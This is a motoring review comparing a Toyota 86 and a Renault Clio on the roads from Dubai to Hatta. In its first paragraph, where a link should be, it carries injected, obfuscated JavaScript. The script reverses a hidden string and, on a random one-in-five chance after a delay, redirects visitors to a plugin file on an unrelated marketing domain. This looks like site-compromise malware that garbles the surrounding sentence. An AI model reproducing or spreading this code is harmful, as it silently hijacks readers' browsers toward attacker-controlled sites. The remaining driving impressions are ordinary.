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Getting underway, I note firstly that it’s very easy to drive, with a light clutch and a surprisingly long gear throw for a car designed to be sporty. The 2.0-litre engine initially feels a little hesitant at low revs, with the maximum 159lb ft of torque not arriving until 5400rpm, but it grows quickly and smoothly up to peak power of 197bhp at 7100rpm. We’re straight onto the motorway, Phil McGovern – today’s photographer – leading in the 86 as we head to pick up our assistant for the day, renowned Dubai tuner $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/mitsubishi-evo-ix-part-one-beginning-a-journey-guest-blog/” target=”_blank”>Motaz Abu Hijleh. With Toyota encouraging owners to treat the 86 as a blank canvas and make it their own with modifications, his input will be interesting.
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With Motaz jumping into the 86, we head out of the city and into the mountains. The Clio has cruise control, which is useful, but despite its six-speed gearbox, still buzzes at 3500rpm at around 120 to 140kph, which makes it rather noisier than I expected. It’s also quite stiff over potholes and the occasional speedbump, although the damping takes the edge off things.
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Before we get to the mountainous twisty stuff, we have a few kilometres of fast, sweeping highway to navigate, and here’s our first chance to see how the two cars stack up. McGovern’s still driving the 86 with Motaz as passenger, and as he guns it up ahead I drop the Clio down to fourth and pin the throttle. There’s a beat as it gathers its skirts and then surges forward, feeling supremely confident into, through and out of the bends. Phil McG will later admit that he was properly on it in the 86 but I have no trouble staying with him and in fact have to lift off on the straights to avoid denting the rear bumper. Both cars have identical power, although the Clio is 35kg lighter and the Toyota’s carrying a passenger. This promises to be a close contest.
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After a quick stop for fuel, we head onto the mountain pass that leads from Huwaylat to the Hatta Fort Hotel. This may be my favourite stretch of road in the UAE – not as wide, smooth or featureless as Jebel Hafeet, but with every sort of corner imaginable, rising and falling up and then down several peaks, tightening and opening, flicking from one direction to the other. This will be a serious workout for any car, but it should be ideally suited to these little thrill factories. I stick in the Clio for now, and away we go.
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Climbing in altitude I have to keep working the gearbox hard to stay on the power band, but even below 4000rpm there’s enough twist to keep going, and the four-pot lump keeps pulling thanks to the short ratios. There’s loads of grip through the front end, the Continental tyres digging in to the tarmac and hauling the Renault through the bends, letting me get very liberal with the throttle. And it’s so adjustable. The rear end is just loose enough to let me feather the throttle and tighten or widen my line through the twists, responding with utmost confidence. I wish the throw on the lever was shorter and the action a little snappier though; there’s a slightly vague feeling to the changes, never quite the satisfactory snick that I’m looking for. But there’s considerable joy in pushing the Clio hard, having confidence that I can chuck the front in and it’ll stick, leaving me to fettle the back end with my right foot. It is, in short, a hoot.
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So, the moment of truth. We pull over and I swipe the key to the 86 from Motaz. The seating position is everything I hoped it would be – really low down, with plenty of headroom to get the seat upright and close to the tiny steering wheel (Toyota’s smallest ever), which pulls out to meet me. There’s minimal distance to the gearstick, and great visibility out front. Here we go.
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The clutch weight is perfect – light enough not to knacker the left leg, heavy enough to feel like it has substance. The shift action is short and snaps into first, then second as I move away, bracing myself for an assault on the mountain. Foot down and… well, not much. I expected the 2.0-litre boxer engine to have a pretty broad power band, but this proves not to be the case. Not until above 5000rpm does the power come, and by 8000rpm it’s time to change gear again. This makes for somewhat noisy progress as I stir the gearbox to keep on the money. The engine sound – and it’s all engine, no tuned exhaust here – has that hard-edged boxer timbre, but with a static-like rattle. It sounds like a mixture between white noise and a bluebottle, but it does have a certain unusual charm.
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I arrive at a short right hander, switching into a long left, and pitch the 86 in. There’s more body roll than I expect in a car so low, which makes precise accuracy into bends a little more tricky than expected. But the steering is really good – perfect heft, bags of feel. It’s a shame that the feel I get is of the economy-focused Yokohama Decibel tyres rolling over onto their sidewalls as I lean on them, the rubber struggling to hold on. Where the Clio grips and goes, the 86 squeals and understeers if I try and power through long corners. Keep within the limits though, and the 86 will turn in well. Remembering the racing adage of ‘slow in, fast out’, I take the next bend cautiously and then boot it, hoping for some of the tail-out action that all the 86 marketing has shown in glorious slow motion. But there’s not enough grunt, even when planning ahead and making sure I’m at 5500rpm. I’m prepared for countersteer to catch the anticipated slide, but never need it. Hmmm.
